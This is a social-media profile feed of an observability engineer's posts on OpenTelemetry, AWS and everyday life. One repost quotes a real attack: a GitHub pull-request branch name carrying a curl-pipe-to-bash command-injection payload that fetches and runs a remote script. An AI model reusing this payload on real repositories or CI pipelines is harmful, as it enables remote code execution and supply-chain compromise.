Sign in

Mike Heffner

@mike.heffner.io
57 followers 81 following 57 posts

AI Mechanic - Cursor Previously: Rotel.dev @ Streamfold, Netlify, SolarWinds Cloud, Librato. Just add water.

PostsRepliesMedia
Mike Heffner @mike.heffner.io · 17/07/2026
Hello future GitHubber! Know that this HTML response will be vomited upon all failures regardless of client, API, or request type surface from now until eternity. So keep it tight.
000
Mike Heffner @mike.heffner.io · 27/03/2026
Serverless Lambda on managed servers
010
Mike Heffner @mike.heffner.io · 17/03/2026
Backends implemented on split ingestion pipelines are in for a rough time
010
Mike Heffner @mike.heffner.io · 10/03/2026
Just wait until there's a leap second
010
Reposted by Mike Heffner
Matt Kane @mk.gg · 24/02/2026
We built a new Next.js, on @vite.dev. Drop-in replacement. Builds 4x faster with @rolldown.rs.
blog.cloudflare.com
How we rebuilt Next.js with AI in one week
One engineer used AI to rebuild Next.js on Vite in a week. vinext builds up to 4x faster, produces 57% smaller bundles, and deploys to Cloudflare Workers with a single command.
3779
Reposted by Mike Heffner
Kate Compton @galaxykate.bsky.social · 31/01/2026
You can test new tech ideas using the Seinfeld Test Would the product eliminate the plot of an episode? (Google maps, cell phones, paypal, battery packs) Good tech. Would the product inspire new Seinfeld plots? (NFTs, AI chatbots, crypto currency, blindboxes, metaverse land sales) Bad tech.
7688072844
Mike Heffner @mike.heffner.io · 26/01/2026
Are there any known solutions to setting up Claude Code authentication against a subscription plan in a headless, ephemeral environment?
000
Mike Heffner @mike.heffner.io · 21/01/2026
I might write some code today just to feel something
020
Mike Heffner @mike.heffner.io · 09/01/2026
Is there anyway to write Cloudformation without writing Cloudformation? Or is the answer to just have Claude spit it out? I used goformation in the past and found it useful, but sadly it looks like it's dead: github.com/awslabs/gofo...
000
Mike Heffner @mike.heffner.io · 15/12/2025
It's jump-start-the-car level of cold this morning.
000
Mike Heffner @mike.heffner.io · 28/11/2025
Just released an experimental #AWS Firelens ECS log router based on Rotel. This replaces the Fluent Bit container, supporting native OpenTelemetry pipelines. Let us know what you think: github.com/streamfold/a...
github.com
GitHub - streamfold/aws-firelens-rotel: AWS Firelens log router based on Rotel
AWS Firelens log router based on Rotel. Contribute to streamfold/aws-firelens-rotel development by creating an account on GitHub.
130
Mike Heffner @mike.heffner.io · 25/11/2025
Thanks to ClickHouse for inviting us to share this post. Had a lot of fun digging into performance benchmarking work again!
010
Mike Heffner @mike.heffner.io · 18/11/2025
👀
100
Reposted by Mike Heffner
Netlify @netlify.com · 30/09/2025
Vercel ➝ Netlify migration made simple. ✅ Checklist ✅ Next.js tips ✅ Best practices Start here → docs.netlify.com/resources/ch...
docs.netlify.com
Vercel to Netlify migration checklist
A comprehensive guide for migrating your projects from Vercel to Netlify, including Next.js setup, configuration migration, and production readiness steps.
723171
Mike Heffner @mike.heffner.io · 30/09/2025
It looks like Librato is finally sunset today, not a bad 14 year run. www.reddit.com/r/Solarwinds...
reddit.com
From the Solarwinds community on Reddit
Explore this post and more from the Solarwinds community
010
Reposted by Mike Heffner
Ray Jenkins @ramond.bsky.social · 23/09/2025
It required me doing ungodly things.
011
Mike Heffner @mike.heffner.io · 15/09/2025
It's great to see Datadog adding agentless OTLP intake now, initially just with metrics and logs. Useful for one shot SDK integrations, but it's also interesting if it'll allow for smaller OTLP exporter only collector deployments in the future. docs.datadoghq.com/opentelemetr...
docs.datadoghq.com
Datadog OTLP Intake Endpoint
Datadog, the leading service for cloud-scale monitoring.
011
Mike Heffner @mike.heffner.io · 27/08/2025
The classic file descriptor vtable approach was a pretty useful pattern when building user-level CP/R back in the day. It meant we could just swap the FD pointer quickly based on whether it was virtualized or not. oshub.org/projects/ret...
oshub.org
Object-oriented design patterns on OSHub
[My scheduler operations implementation] A benefit of working on your own operating system is that you’re free from the usual "restraints" of coll...
010
Mike Heffner @mike.heffner.io · 20/08/2025
The glue in many of these cases are the bindings built on PyO3. We found it powerful enough to allow us to go from Rust->Python->Rust when building native Python processor integration for Rotel.
130
Mike Heffner @mike.heffner.io · 19/08/2025
When you've got to use up the garden tomatoes that are about to go bad: sandwish.netlify.app/ac70ab777318...
sandwish.netlify.app
Too Many Tomatoes
A truly delicious creation. Stack yours and share it with the world!
021
Mike Heffner @mike.heffner.io · 05/08/2025
The past 7 months @ramond.bsky.social and I have worked on the hypothesis that telemetry data requires a systems approach for high-perf, predictable and resource efficient collection at scale. We're excited to announce our progress so far and hope that the community can join us: dub.sh/A7sI0Tm
dub.sh
Rotel: Fast and Efficient OpenTelemetry Collection in Rust | Rotel
Observability shouldn't be a resource hog, that’s why at the end of last year, we started an ambitious new project – Rotel. We’ve been excited to see the rise of OpenTelemetry as a vendor neutral stan...
000
Mike Heffner @mike.heffner.io · 04/08/2025
There's something satisfying about finding and digging out potatoes from the garden. Never know how many are down there and in what condition.
000
Reposted by Mike Heffner
Ray Jenkins @ramond.bsky.social · 27/06/2025
Had a great time sharing rotel.dev at #OpenO11ySummit + #OTelDay with @mike.heffner.io. Blown away by how many people had already heard of it and tried it. “Yeah we tried it and it was 8x faster than our existing solution”. We thought today was our first official announcement 🤣.
rotel.dev
Rotel - High Performance, Resource Efficient OpenTelemetry Collector | Rotel
High-performance, Resource Efficient OpenTelemetry Collector.
031
Mike Heffner @mike.heffner.io · 18/06/2025
Google's truncating of the Github repo name in search results is not confusing at all.
000
Mike Heffner @mike.heffner.io · 22/05/2025
I'll be heading out to San Francisco for a few days next week. If you're around and want to talk about low overhead OpenTelemetry use in AWS Lambda, let's chat! github.com/streamfold/r...
github.com
GitHub - streamfold/rotel-lambda-extension: AWS Lamba Extension of the Lightweight Rotel Collector
AWS Lamba Extension of the Lightweight Rotel Collector - streamfold/rotel-lambda-extension
000
Reposted by Mike Heffner
Aleksey Skorobogaty @desmount.bsky.social · 17/05/2025
Excellent article on positioning domain engineering between product engineering and infrastructure engineering. I fully agree with the financial model section. However, I prefer to call it ‘platform engineering: the hard parts,’ simply because in the middle, we face more volatile semantics.
jackdanger.com
Infrastructure Gravity & Domain Engineering | Jack Danger
The following is an excerpt from Executive Engineering.   “You become responsible, forever, for what you have tamed.” – Antoine de Saint-Exupéry, in The Little Prince   Each company draws its own ...
261
Mike Heffner @mike.heffner.io · 02/05/2025
I missed that it was feature flagging and observability synergy week
000
Mike Heffner @mike.heffner.io · 30/04/2025
Another reason, past cold start times, I'm glad we focused on optimizing our extension initialization time. It would be great if SecretsManager API calls were faster, since that's an often the long pole in the tent for init time. github.com/streamfold/r...
github.com
GitHub - streamfold/rotel-lambda-extension: AWS Lamba Extension of the Lightweight Rotel Collector
AWS Lamba Extension of the Lightweight Rotel Collector - streamfold/rotel-lambda-extension
000
Mike Heffner @mike.heffner.io · 25/04/2025
Coming soon: Interstate Data Transfer Costs
010
Mike Heffner @mike.heffner.io · 02/04/2025
For the dozens of us out there, this post was the missing piece in getting ollama working on Fedora with Nvidia. Now I'm able to vibe code with the best of em: RustRover + continue.dev + ollama. blog.lazyhacker.com/2024/09/inst...
blog.lazyhacker.com
Installing Nvidia and CUDA drivers on Fedora for Ollama
Ollama , a tool that lets you run Large Language Models (LLMs) on a local machine, supports the use of GPUs for better performance if you ha...
000
Mike Heffner @mike.heffner.io · 28/03/2025
Shipped a small demo of OpenTelemetry traces -> Datadog for monitoring Remote MCP server availability. It's early days for MCP, and remote deployments in particular, so let us know what would be useful: github.com/streamfold/m...
github.com
GitHub - streamfold/mcp-demo-server-otel: Demo of OpenTelemetry + MCP Remote Server
Demo of OpenTelemetry + MCP Remote Server. Contribute to streamfold/mcp-demo-server-otel development by creating an account on GitHub.
011
Reposted by Mike Heffner
Matt Kane @mk.gg · 27/03/2025
I wanted to write something like this so many times when I was at Netlify! We always decided it was best to not make a fuss. Now I'm not at Netlify, I still believe abstracting the hosting layer via adapters makes for better framework architecture overall, as well as being better for the ecosystem.
netlify.com
Next.js Deployment Challenges: Why platforms need better open source collaboration
Discover the 6 key challenges platforms face when supporting Next.js deployments, including the lack of adapter support and undocumented behaviors. Learn how Netlify is working with OpenNext to build ...
2506
Mike Heffner @mike.heffner.io · 12/03/2025
At some scale a GH personal access token of yours is always expiring.
000
Mike Heffner @mike.heffner.io · 11/03/2025
I've definitely found this to be true and trying to debug it via traditional means like Google and SO is impossible since no human would have made that same error.
000
Reposted by Mike Heffner
Jen Rubin @jenrubin.bsky.social · 13/01/2025
BIG NEWS. I have left the Post. Corporate and billionaire media are failing to meet the moment. With @normeisen.bsky.social I'm launching @contrariannews.bsky.social. We'll have politics but also cooking, humor, film and even pets. Please subscribe and join the fight. contrarian.substack.com
contrarian.substack.com
The Contrarian | Substack
Unflinching journalism in defense of democracy. Click to read The Contrarian, a Substack publication. Launched 13 hours ago.
668115182590
Mike Heffner @mike.heffner.io · 12/12/2024
There are those who believe in the multiverse and those who don't.
000
Mike Heffner @mike.heffner.io · 11/12/2024
Doing some early experimentation with the new S3 Metadata tables and it looks like it can take 8-10 mins for new file metadata to appear. This would seem to align with the "within minutes" definition. aws.amazon.com/blogs/aws/in...
aws.amazon.com
Introducing queryable object metadata for Amazon S3 buckets (preview) | Amazon Web Services
Unlock S3 data insights effortlessly with AWS' rich metadata capture; query objects by key, size, tags, and more using Athena, Redshift, and Spark at scale.
110
Reposted by Mike Heffner
Matt Keeter @mattkeeter.com · 06/12/2024
absolutely incredible attack vector
Picture of a Github PR with text reading

openimbot wants to merge 0 commits into ultralytics:main from openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
16940256
Mike Heffner @mike.heffner.io · 05/12/2024
An OTLP sink looks like it's finally coming to Vector, but only for OTLP formatted messages. How complex a VRL would it require to transform DD Agent source traffic to OTLP? vector.dev/releases/0.4...
vector.dev
Vector v0.43.0 release notes
000
Mike Heffner @mike.heffner.io · 03/12/2024
I would have to guess this doesn't work with the add_files method?
000
Mike Heffner @mike.heffner.io · 03/12/2024
Is dynamodb-local the preferred local testing container for DDB? Localstack works, but I see some regular high request latency.
000
Mike Heffner @mike.heffner.io · 02/12/2024
cursed holiday gift
020
Mike Heffner @mike.heffner.io · 25/11/2024
Adding append support for S3 Standard and multiple concurrent writers would make this quite powerful: docs.aws.amazon.com/AmazonS3/lat...
docs.aws.amazon.com
Appending data to objects in directory buckets - Amazon Simple Storage ServiceAppending data to objects in directory buckets - Amazon Simple Storage Service
Learn how to append data to existing objects in directory buckets.
010
Reposted by Mike Heffner
Dan McKinley @mcfunley.com · 21/11/2024
Hello, I wrote a new talk that is ultimately about how misery is a dumb strategy egoless.engineering
egoless.engineering
Egoless Engineering
It turns out misery is a shitty proxy metric.
2117762
Mike Heffner @mike.heffner.io · 20/11/2024
TC may be on to something here
000
Mike Heffner @mike.heffner.io · 19/11/2024
It turns out that obtaining a Medallion Signature appears to be one reason to maintain an account at a local bank.
210
Reposted by Mike Heffner
Eduardo Bouças @eduardoboucas.com · 12/11/2024
Do you want to use your @netlify.com site domain as a custom handle in Bluesky? You can now set it up with a few clicks on the Netlify UI. Look for "Bluesky Custom Domain" in the Netlify Extensions directory or head to app.netlify.com/extensions/b....
832176
Mike Heffner @mike.heffner.io · 23/07/2023
Just checking in on the new app.
000
Mike Heffner @mike.heffner.io · 18/07/2023
🎶 Look mummy, there's an aeroplane up in the sky 🎶
2141